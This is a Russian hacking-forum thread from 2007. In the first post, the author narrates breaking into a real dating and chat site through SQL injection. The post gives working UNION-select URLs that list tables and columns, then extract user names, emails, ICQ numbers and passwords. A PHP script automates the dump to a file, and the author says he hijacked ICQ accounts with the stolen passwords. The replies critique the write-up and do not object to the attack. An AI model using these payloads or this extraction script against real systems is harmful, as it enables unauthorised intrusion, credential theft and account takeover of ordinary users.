PDA

Просмотр полной версии : История одного хака


Joker-jar
04.08.2007, 11:14
Искал информацию о человеке - обладателе аськи, столь нужной мне. Нашел даже сайт, на котором он её получил в подарок: snegorod.com. Решил покопаться на сайте, нашел SQL-inj:

http://board.snegorod.com/index.php?cat=4+union+select+1,2,3,4,5,6,7,8,9,10, 11/*&minrat=0&numofpage=13

Хмм, для начала неплохо. Постучался в information_schema, повезло :)

Начал искать интересные таблицы:

http://board.snegorod.com/index.php?cat=4+union+select+1,2,3,4,5,6,7,8,table _name,10,11+from+information_schema.tables+limit+i ,1/*&minrat=0&numofpage=13

где i = 0,1,2 ...

Из интересного нашлось:

admins
userinfo
users

Далее узнал, в каких базах данных находятся данные таблицы:

http://board.snegorod.com/index.php?cat=4+union+select+1,2,3,4,5,6,7,8,table _schema,10,11+from+information_schema.tables+where +table_name='имя таблицы'/*&minrat=0&numofpage=13

(отмечу, что на сервере не экранировались кавычки, что придавало еще более комфортные условия ;))

В итоге я имел:

dating.admins
chat.userinfo
dating.users

Ну что ж, самое время узнать, что за поля прячутся в этих аппетитных табличках:

http://board.snegorod.com/index.php?cat=4+union+select+1,2,3,4,5,6,7,8,colum n_name,10,11+from+information_schema.columns+where +table_name='имя таблицы'+limit+i,1/*&minrat=0&numofpage=13

где i = 0,1,2 ...

Через несколько минут, немного поработав пальчиками, в окне копии блокнота накопилась следующая инфа:

---------------------------------

dating.admins ->

ID
NICK
PASS
RANG
EMAIL
LASTLOGIN
IDUA

---------------------------------

chat.userinfo ->

id
name
realname
email
age
city
country
url
stuff
photo_url
icq_uin

---------------------------------

dating.users ->

ID
NICK
MPASS
PASS
DATEREG
LASTLOGIN
LASTACT
ACTIVE
HIDE
VIEWS
NGOL
SGOL
IPREG
COMMENT
golopen

---------------------------------

Скажу сразу, что инфа, до которой я так упорно подкапывался, оказалась бесполезной. Ну и ладно ;), можно ведь вытащить базу юзеров и почекать аси/мыла. Как видно из структур таблиц, вся интересная инфа лежит в chat.userinfo (email, icq_uin), а пароль в dating.users. Ну и что? :)

http://board.snegorod.com/index.php?cat=4+union+select+1,2,3,4,5,6,7,8,conca t(chat.userinfo.name,';',chat.userinfo.email,';',c hat.userinfo.icq_uin,';',dating.users.MPASS,';',da ting.users.PASS),10,11+from+chat.userinfo+inner+jo in+dating.users+on+chat.userinfo.name=dating.users .NICK+limit+i,1/*&minrat=0&numofpage=13

где i = 0,1,2 ...

Но вытаскивать записи по одной очень долго и нудно, поэтому я решил написать небольшой скрипт на PHP, который бы это делал за меня. Для начала, результат вывода инъекции я обрамил тэгом <1310></1310> (незнаю, почему этот, просто так захотелось), чтоб потом можно было этот самый результат найти среди груы HTML-мусора.

<?
if (!isset($_GET['start']) || !isset($_GET['end']) || $_GET['start'] > $_GET['end'])
exit;

$start = $_GET['start'];
$end = $_GET['end'];

$f = fopen('base.txt','a');

for ($i = $start; $i <= $end; $i++)
{
$s = file_get_contents("http://board.snegorod.com/index.php?cat=4+union+select+1,2,3,4,5,6,7,8,conca t(char(0x3c,0x31,0x33,0x31,0x30,0x3e),chat.userinf o.name,';',chat.userinfo.email,';',chat.userinfo.i cq_uin,';',dating.users.MPASS,';',dating.users.PAS S,char(0x3c,0x2f,0x31,0x33,0x31,0x30,0x3e)),10,11+ from+chat.userinfo+inner+join+dating.users+on+chat .userinfo.name=dating.users.NICK+and+chat.userinfo .icq_uin>0+limit+$i,1/*&minrat=0&numofpage=13");
preg_match("/<1310>(.*)<\/1310>/",$s, $s2);
fwrite($f, iconv("UTF-8", "CP1251", $s2[1]."\n"));

}
fclose($f);
?>

Добавив условие chat.userinfo.icq_uin>0 прогнал скрипт, для начала, на параметрах ?start=0&end=100. Нашлось с десяток кривых девяток, к которым пароль сайта подходил. Мыла не проверял... Ну вот, собсна, и все. Удачного хака!

blackybr
04.08.2007, 11:27
Постучался в information_schema, повезло
по твоим словам кажется что доступ к инф. схеме зависит от везения.. ))

Spyder
04.08.2007, 22:24
Постучался в information_schema, повезло
Не видно где ты узнавал версию. Мне кажется что ты не рубишь по поводу базы information_schema
бр+1

Constantine
04.08.2007, 22:28
На самом деле да, похоже чувак не знает что information_schema на 5 ветке =)))
Последний запрос выглядит очень красиво и супербесполезно! =)
А так улыбнуло

iv.
04.08.2007, 22:28
Обычная sql inj. Зачем отдельная тема?
сп+1

Joker-jar
05.08.2007, 05:12
похоже чувак не знает что information_schema на 5 ветке
Да знаю вроде, просто писатель никакой из меня ;)

Обычная sql inj. Зачем отдельная тема?
Для новичков, практический пример. В совокупности с теорией, которой достаточно на форуме, должно дать неплохое представление о sql-inj.

З.Ы, Всякие мелочи типа определение версии, подбора количества полей и т.д. в описании опустил (слишком банально).

Zitt
05.08.2007, 15:55
Joker-jar. тебя не понять..
сначала гриш что для новичкоф а потом говоришь что упустил детали... Новички не поймут =)))
В совокупности с теорией, которой достаточно на форуме,
А практике мало?

Termin@L
05.08.2007, 22:36
З.Ы, Всякие мелочи типа определение версии, подбора количества полей и т.д. в описании опустил (слишком банально).

Ну раз уж на то пошло, так вся статья - банальна... Новички ничего не поймут это факт, а тем кто рубит это не интересно, таких историй почти каждый античатовец может рассказать вагон и мпленькую тележку

n0ne
05.08.2007, 22:58
Моё имхо, что новичкам как раз не надо всё разжевывать, а надо давать пищу для размышлений, а если новичек хочет научица, он погуглит, выучит пару языков, ну даже если не языков, то хотябы ту базу, которая нужна для того, что его интересует. А если всё раскладывать по полочкам, то он так и будет думать прямолинейно. Чтобы научица хаку надо научица думать не по шаблону.

KPOT_f!nd
05.08.2007, 23:03
давайте все будем писать свой хеки ресурсов???
iv. +1. Многие так делаю в поисках скули, если им нравить сайт(или БД ценная) начинаю копать дальше! брд